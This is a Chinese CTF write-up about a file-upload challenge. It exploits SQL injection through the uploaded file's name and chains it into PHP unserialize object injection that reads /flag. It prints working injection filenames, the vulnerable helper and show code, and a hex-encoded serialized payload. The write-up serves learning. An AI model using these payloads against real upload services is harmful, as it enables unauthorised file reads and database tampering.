知识点
- SQL注入
WP
进入环境,有一个upload.php可以传文件,有一个show.php可以查看上传的列表,发现有点像是存入了数据库,再考虑到以前似乎听说过文件上传中文件名的SQL注入,就猜测这题应该其实是一个SQL注入。在filename那里尝试了一下,一开始是1.png
可以,1.png'
提示我必须上传图片,再考虑到show.php那里的回显,文件名是被加密的,因此猜测后端可能是把.png前面的东西单独的处理,存入了数据库,于是这样:1'.php
,果然报wrong了,再试试1'or'1.php
,又上传成功了,因此这里存在SQL注入,而且肯定是insert注入了。
经过尝试,发现后面是5列:
1',2,3,4,5);#.png
2和4那里可以回显,然后进行SQL注入,然后。。。就没然后了,写不了马读不了文件,flag也不在库里,卡住了。
看了一下WP,原来首页可以继续往下拉,有这个:
去github上查wowouploadimage,得到源码:
把源码下载下来,大致审一下,发现其实逻辑和我之前猜测的都差不多,只不过是helper.php中还有这个:
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
而图片表的attr列,原来是存储了序列化信息的:
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
在show.php里面:
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
取数据,然后注意:$attr = unserialize($attr_temp);
,因此既然可以SQL注入了,直接构造反序列化,进行反序列化攻击了。
构造出的字符串直接弄不上去,因为文件名中不能有单引号。我拿python脚本也传部上去,看了WP是改成十六进制,日了我太菜了忘记了这茬。
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
echo bin2hex(serialize(new helper()));
filename="1',2,3,4,0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"
再访问show.php即可得到flag。主要还是学习了文件上传中还能有SQL注入。